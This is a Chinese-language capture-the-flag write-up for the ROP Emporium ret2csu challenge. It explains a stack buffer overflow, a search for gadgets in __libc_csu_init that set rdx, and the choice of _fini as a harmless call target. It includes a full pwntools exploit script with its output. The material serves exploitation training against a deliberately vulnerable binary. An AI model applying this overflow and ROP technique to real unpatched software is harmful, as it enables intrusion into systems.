文章目录

  • 1. ret2csu
    • 信息收集
    • 反汇编
    • 关于ret2csu利用
    • Rop chain
    • Exp
  • 3. 参考文章

1. ret2csu

信息收集

题目只有64位版本,提供了以下文件:

encrypted_flag.dat  key.dat  libret2csu.so  ret2csu

作者提示,这个题和callme类似,调用ret2win()并提供指定的参数即可,但缺少明显的可利用的gadget。

$ file ret2csu
ret2csu: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f722121b08628ec9fc4a8cf5abd1071766097362, not stripped
$ checksec ./ret2csu
[*] '/home/starr/Documents/CProject/pwn/ret2csu'Arch:     amd64-64-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      No PIERUNPATH:  b'.'
$ ldd ret2csulinux-vdso.so.1 (0x00007ffdd03c9000)libret2csu.so => ./libret2csu.so (0x00007f0e7811f000)libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0e77d2e000)/lib64/ld-linux-x86-64.so.2 (0x00007f0e78322000)
$ checksec ./libret2csu.so
[*] '/home/starr/Documents/CProject/pwn/libret2csu.so'Arch:     amd64-64-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      PIE enabled

反汇编

$ objdump -d -M intel ret2csu
0000000000400500 <pwnme@plt>:
0000000000400510 <ret2win@plt>:
0000000000400607 <main>:400607:       55                      push   rbp400608:       48 89 e5                mov    rbp,rsp40060b:       e8 f0 fe ff ff          call   400500 <pwnme@plt>400610:       b8 00 00 00 00          mov    eax,0x0400615:       5d                      pop    rbp400616:       c3                      ret0000000000400617 <usefulFunction>:400617:       55                      push   rbp400618:       48 89 e5                mov    rbp,rsp40061b:       ba 03 00 00 00          mov    edx,0x3400620:       be 02 00 00 00          mov    esi,0x2400625:       bf 01 00 00 00          mov    edi,0x140062a:       e8 e1 fe ff ff          call   400510 <ret2win@plt>...
$ objdump -d -M intel libret2csu.so
000000000000093a <pwnme>:...9ae:   48 8d 45 e0             lea    rax,[rbp-0x20]9b2:   ba 00 02 00 00          mov    edx,0x2009b7:   48 89 c6                mov    rsi,rax9ba:   bf 00 00 00 00          mov    edi,0x09bf:   e8 2c fe ff ff          call   7f0 <read@plt>  read(stdin, rbp-0x20, 0x200)...9d0:   90                      nop9d1:   c9                      leave9d2:   c3                      ret00000000000009d3 <ret2win>:9d3:   55                      push   rbp9d4:   48 89 e5                mov    rbp,rsp9d7:   48 83 ec 30             sub    rsp,0x309db:   48 89 7d e8             mov    QWORD PTR [rbp-0x18],rdi      arg09df:   48 89 75 e0             mov    QWORD PTR [rbp-0x20],rsi      arg19e3:   48 89 55 d8             mov    QWORD PTR [rbp-0x28],rdx      arg29e7:   48 c7 45 f0 00 00 00    mov    QWORD PTR [rbp-0x10],0x09ee:   009ef:   48 b8 ef be ad de ef    movabs rax,0xdeadbeefdeadbeef     arg09f6:   be ad de9f9:   48 39 45 e8             cmp    QWORD PTR [rbp-0x18],rax9fd:   0f 85 d7 00 00 00       jne    ada <ret2win+0x107>a03:   48 b8 be ba fe ca be    movabs rax,0xcafebabecafebabe       arg1a0a:   ba fe caa0d:   48 39 45 e0             cmp    QWORD PTR [rbp-0x20],raxa11:   0f 85 c3 00 00 00       jne    ada <ret2win+0x107>a17:   48 b8 0d f0 0d d0 0d    movabs rax,0xd00df00dd00df00d       arg2a1e:   f0 0d d0a21:   48 39 45 d8             cmp    QWORD PTR [rbp-0x28],raxa25:   0f 85 af 00 00 00       jne    ada <ret2win+0x107>...b26:   e8 05 fd ff ff          call   830 <fopen@plt>...b63:   e8 78 fc ff ff          call   7e0 <fgetc@plt>...  省略解密过程

缓冲区距离返回地址(rbp+8) - (rbp-0x20) == 0x28字节。

要想通过ret2win解密flag并输出,需要传递三个硬编码的参数:

rdi = 0xdeadbeefdeadbeef
rsi = 0xcafebabecafebabe
rdx = 0xd00df00dd00df00d

搜一下gadget:

pwndbg> rop --grep "pop"
...
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret
0x00000000004006a2 : pop r15 ; ret
0x000000000040057b : pop rbp ; mov edi, 0x601038 ; jmp rax
0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x00000000004006a3 : pop rdi ; ret
0x00000000004006a1 : pop rsi ; pop r15 ; ret
0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

可以搜到rdi, rsi,但是没有rdx。搜索xchg等指令也是无果。这种情况可以考虑使用ret2csu技术。

关于ret2csu利用

Ret2csu是blackhat大会在2018年的一个议题,即通过__libc_csu_init 函数中的两个特殊 gadgets可实现万能传参。这个函数用来初始化libc,所以一定会存在。

$ objdump -d -M intel ./ret2csu
...
0000000000400510 <ret2win@plt>:
...
0000000000400640 <__libc_csu_init>:400640:       41 57                   push   r15400642:       41 56                   push   r14400644:       49 89 d7                mov    r15,rdx400647:       41 55                   push   r13400649:       41 54                   push   r1240064b:       4c 8d 25 9e 07 20 00    lea    r12,[rip+0x20079e]        # 600df0 <__frame_dummy_init_array_entry>400652:       55                      push   rbp400653:       48 8d 2d 9e 07 20 00    lea    rbp,[rip+0x20079e]        # 600df8 <__init_array_end>40065a:       53                      push   rbx40065b:       41 89 fd                mov    r13d,edi40065e:       49 89 f6                mov    r14,rsi400661:       4c 29 e5                sub    rbp,r12400664:       48 83 ec 08             sub    rsp,0x8400668:       48 c1 fd 03             sar    rbp,0x340066c:       e8 5f fe ff ff          call   4004d0 <_init>400671:       48 85 ed                test   rbp,rbp400674:       74 20                   je     400696 <__libc_csu_init+0x56>400676:       31 db                   xor    ebx,ebx400678:       0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]40067f:       00400680:       4c 89 fa                mov    rdx,r15        pGadgetCsuMov400683:       4c 89 f6                mov    rsi,r14400686:       44 89 ef                mov    edi,r13d400689:       41 ff 14 dc             call   QWORD PTR [r12+rbx*8]       想办法使 rbx=040068d:       48 83 c3 01             add    rbx,0x1400691:       48 39 dd                cmp    rbp,rbx         阻止跳转 <-- rbp == rbx + 0x1 == 1400694:       75 ea                   jne    400680 <__libc_csu_init+0x40>400696:       48 83 c4 08             add    rsp,0x840069a:       5b                      pop    rbx         pGadgetCsuPop40069b:       5d                      pop    rbp40069c:       41 5c                   pop    r1240069e:       41 5d                   pop    r134006a0:       41 5e                   pop    r144006a2:       41 5f                   pop    r154006a4:       c3                      ret

函数中有两段gadget:pGadgetPop和pGadgetCall。Ret2csu的流程如下:

  1. 执行pGadgetCsuPop,返回到pGadgetCall;

  2. pGadgetCsuMov:

    • edi == r13d ,无法赋值8个字节;

    • rsi == r14 == 0xcafebabecafebabe;

    • rdx == r15 == 0xd00df00dd00df00d;

    • rbx == 0;

    • call [r12];

    • rbp == rbx + 0x1 == 0x1;

  3. 0x400696往后还会再执行一遍pGadgetPop,需要在栈里填充8*7个字节;

  4. pGadgetPopRdi, 赋值rdi == 0xdeadbeefdeadbeef;

  5. ret2win

因在rdi并没有赋值为0xdeadbeefdeadbeef,所以需要再执行一遍pGadgetPop,返回一个 pop rdi的gadget。

R12的地址需要解引用,类似got这样的跳转表,并且执行的指令不能影响栈平衡和寄存器的值。Gdb pwndbg提供了telescope命令, 译为望远镜,很形象:

pwndbg> help telescope
Recursively dereferences pointers starting at the specified address

除了got,dynamic,init_array,fini_array这几个section也可以试试:

$ readelf -S ret2csu
There are 29 section headers, starting at offset 0x1930:Section Headers:[Nr] Name              Type             Address           OffsetSize              EntSize          Flags  Link  Info  Align...[18] .init_array       INIT_ARRAY       0000000000600df0  00000df00000000000000008  0000000000000008  WA       0     0     8[19] .fini_array       FINI_ARRAY       0000000000600df8  00000df80000000000000008  0000000000000008  WA       0     0     8[20] .dynamic          DYNAMIC          0000000000600e00  00000e0000000000000001f0  0000000000000010  WA       6     0     8[21] .got              PROGBITS         0000000000600ff0  00000ff00000000000000010  0000000000000008  WA       0     0     8[22] .got.plt          PROGBITS         0000000000601000  000010000000000000000028  0000000000000008  WA       0     0     8
pwndbg> telescope 0x0000000000600df0 2       # init_array + fini_array
00:0000│  0x600df0 (__init_array_start) —▸ 0x400600 (frame_dummy) ◂— push   rbp
01:0008│  0x600df8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4005d0 (__do_global_dtors_aux) ◂— cmp    byte ptr [rip + 0x200a61], 0
pwndbg> telescope 0x0000000000600e00 62      # dynamic
00:0000│  0x600e00 (_DYNAMIC) ◂— 0x1
... ↓     2 skipped
...
07:0038│  0x600e38 (_DYNAMIC+56) —▸ 0x4004d0 (_init) ◂— sub    rsp, 8      !!!!!!!!!!!!!
08:0040│  0x600e40 (_DYNAMIC+64) ◂— 0xd /* '\r' */
09:0048│  0x600e48 (_DYNAMIC+72) —▸ 0x4006b4 (_fini) ◂— sub    rsp, 8      !!!!!!!!!!!!!
0a:0050│  0x600e50 (_DYNAMIC+80) ◂— 0x19
0b:0058│  0x600e58 (_DYNAMIC+88) —▸ 0x600df0 (__init_array_start) —▸ 0x400600 (frame_dummy) ◂— push   rbp  !!!!!!!!!!!!!!
...
0f:0078│  0x600e78 (_DYNAMIC+120) —▸ 0x600df8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4005d0 (__do_global_dtors_aux) ◂— cmp    byte ptr [rip + 0x200a61], 0
...
13:0098│  0x600e98 (_DYNAMIC+152) —▸ 0x400298 ◂— add    eax, dword ptr [rax]
14:00a0│  0x600ea0 (_DYNAMIC+160) ◂— 0x5
15:00a8│  0x600ea8 (_DYNAMIC+168) —▸ 0x4003c0 ◂— add    byte ptr [rcx + rbp*2 + 0x62], ch
16:00b0│  0x600eb0 (_DYNAMIC+176) ◂— 0x6
17:00b8│  0x600eb8 (_DYNAMIC+184) —▸ 0x4002d0 ◂— add    byte ptr [rax], al
...
pwndbg> telescope 0x0000000000600ff0 7
00:0000│  0x600ff0 —▸ 0x7ffff7800ba0 (__libc_start_main) ◂— push   r13
01:0008│  0x600ff8 ◂— 0x0
02:0010│  0x601000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x600e00 (_DYNAMIC) ◂— 0x1
03:0018│  0x601008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7ffe170 ◂— 0x0
04:0020│  0x601010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7dea820 (_dl_runtime_resolve_xsave) ◂— push   rbx
05:0028│  0x601018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0x400506 (pwnme@plt+6) ◂— push   0 /* 'h' */
06:0030│  0x601020 (_GLOBAL_OFFSET_TABLE_+32) —▸ 0x400516 (ret2win@plt+6) ◂— push   1

init_array_start函数是ELF程序的一个初始化函数,运行它一般不会对栈空间造成影响,但这里却把rsi给改变了。。。

00000000000008a0 <register_tm_clones>:8a0:   48 8d 3d d1 17 20 00    lea    rdi,[rip+0x2017d1]        # 202078 <_edata>8a7:   48 8d 35 ca 17 20 00    lea    rsi,[rip+0x2017ca]        # 202078 <_edata>8ae:   55                      push   rbp8af:   48 29 fe                sub    rsi,rdi   !!!!!!!!!!!!!!!!!!!!!!!!8b2:   48 89 e5                mov    rbp,rsp8b5:   48 c1 fe 03             sar    rsi,0x3  !!!!!!!!!!!!!!!!!!!!!!!!8b9:   48 89 f0                mov    rax,rsi8bc:   48 c1 e8 3f             shr    rax,0x3f8c0:   48 01 c6                add    rsi,rax    !!!!!!!!!!!!!!!!!!!!!!!!8c3:   48 d1 fe                sar    rsi,1 !!!!!!!!!!!!!!!!!!!!!!!!...
0000000000000930 <frame_dummy>:930:   55                      push   rbp931:   48 89 e5                mov    rbp,rsp934:   5d                      pop    rbp935:   e9 66 ff ff ff          jmp    8a0 <register_tm_clones>

另外两个,_init_fini,看了一下,后者也很合适:

pwndbg> disassemble 0x4006b4
Dump of assembler code for function _fini:0x00000000004006b4 <+0>:     sub    rsp,0x80x00000000004006b8 <+4>:     add    rsp,0x80x00000000004006bc <+8>:     ret

Rop chain

padding      len 0x28pGadgetCsuPop   0x40069a
0           pop to rbx
1           pop to rbp, 0x1 == rbx + 0x1
p_init_array_start      0x600e58    pop to r12
0           pop to r13
0xcafebabecafebabe  pop to r14
0xd00df00dd00df00d  pop to r15
pGadgetCsuMov   0x400680p(64)*7     pGadgetCsuPop againpGadgetPopRdi    0x00000000004006a3 : pop rdi ; ret
0xdeadbeefdeadbeef
ret2win

Exp

# coding:utf-8
from pwn import *context.arch = "amd64"
context.bits = 64
context.os = "linux"def getio(program):io = process(program)# io = gdb.debug([program], "b main")return io;g_nBufOverflowIndex = 0x28
pGadgetCsuPop = 0x40069a
pGadgetCsuMov = 0x400680pGadgetPopRdi = 0x00000000004006a3  # pop rdi ; ret# pp_init_array_start = 0x600df0      一般用它,但本题布星~
ppFini = 0x600e48nArg0_rdi = 0xdeadbeefdeadbeef
nArg1_rsi = 0xcafebabecafebabe
nArg2_rdx = 0xd00df00dd00df00dstrProgram = "./ret2csu"
strSo = "./libret2csu.so"elf = ELF(strProgram)
pRet2Win = elf.plt["ret2win"]     # 0x0000000000400510rop_chain = b"".join([b"A" * g_nBufOverflowIndex,p64(pGadgetCsuPop),p64(0),           # pop to rbxp64(1),         # pop to rbp, 0x1 == rbx + 0x1# _fini# p64(pp_init_array_start), #pop to r12   call   QWORD PTR [r12+rbx*8]p64(ppFini),    #pop to r12   call   QWORD PTR [r12+rbx*8]p64(0),           # pop to r13p64(nArg1_rsi), # pop to r14p64(nArg2_rdx), # pop to r15p64(pGadgetCsuMov), # retp64(0)*7,      # pGadgetCsuPop againp64(pGadgetPopRdi),p64(nArg0_rdi),p64(pRet2Win)
])io = getio(strProgram)
io.clean()# gdb.attach(io)
# pause()io.sendline(rop_chain)
print(io.recv(timeout=10))
io.interactive()# sudo python2 exp64.py
# [*] '/home/starr/Documents/CProject/pwn/ret2csu'
#     Arch:     amd64-64-little
#     RELRO:    Partial RELRO
#     Stack:    No canary found
#     NX:       NX enabled
#     PIE:      No PIE (0x400000)
#     RUNPATH:  '.'
# [+] Starting local process './ret2csu': pid 6638
# Thank you!
# [*] Switching to interactive mode
# [*] Process './ret2csu' stopped with exit code 0 (pid 6638)# ROPE{a_placeholder_32byte_flag!}

3. 参考文章

ROP-Ret2csu详解 | 偏有宸机 (gitee.io)

asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf (blackhat.com)

ROP Emporium - Ret2csu (x64) - blog.r0kithax.com

ret2csu - 先知社区 (aliyun.com)

ROP_Emporium_ret2csu相关推荐

最新文章

  1. 日常工作,怎么结合工具设计有效的时间管理?
  2. python键盘输入代码,python监控键盘输入实例代码
  3. Mysql连接数据库的操作
  4. iOS使用UIBezierPath实现ProgressView
  5. 《MySQL——InnoDB与Memory以及临时表》
  6. win10 uwp 使用 msbuild 命令行编译 UWP 程序
  7. C语言简明数据类型指南
  8. DEV ComBoxEdit实现模糊检索数据
  9. 一个微信群机器人PHP,vbot微信机器人操作联系人的API(3)微信群API
  10. linux重装系统驱动,linux系统下安装驱动方法
  11. 助教日志_沈航1.2班第一二周作业
  12. 区块链靠什么开启下一个互联网传奇?迅雷链:回归技术
  13. html5学生大作业,帮同学做的大一大作业:《我的家乡—郑州》 - 梦涵的帅爸爸...
  14. 腕象谈表:V6卡地亚山度士后镶满钻评测
  15. 堆溢出(二)空表DWORD SHOOT
  16. 导出excel时,弹出的下载窗口一闪而过
  17. OVERLAPPED I/O 异步APC
  18. Excel 数据透视表小技巧之 06 使用 Excel 数据透视表作为另一个数据透视表的数据源
  19. 5月6日—5月9日三年级课程新
  20. 注意力机制——ECANet(Efficient Channel Attention Network)

热门文章

  1. 走近Ts,用了爽,用后一直爽(一)
  2. 数据库触发器(转自http://blog.csdn.net/chinayuan/article/details/6292335/#)
  3. 【RGB和RGBA之间的转换】也许对你有用
  4. linux学习笔记(十一)-----linux中的虚拟机管理
  5. OpenCV4教程——4.1 窗口相关操作
  6. springboot通过ITextPDF写入模板并下载
  7. 老杨刷完了23个跨年演讲,这6场最适合网工
  8. 尚硅谷电商管理平台笔记2
  9. 2022年中国移动互联网半年报告
  10. 使用Syncthing搭建自己的私人网盘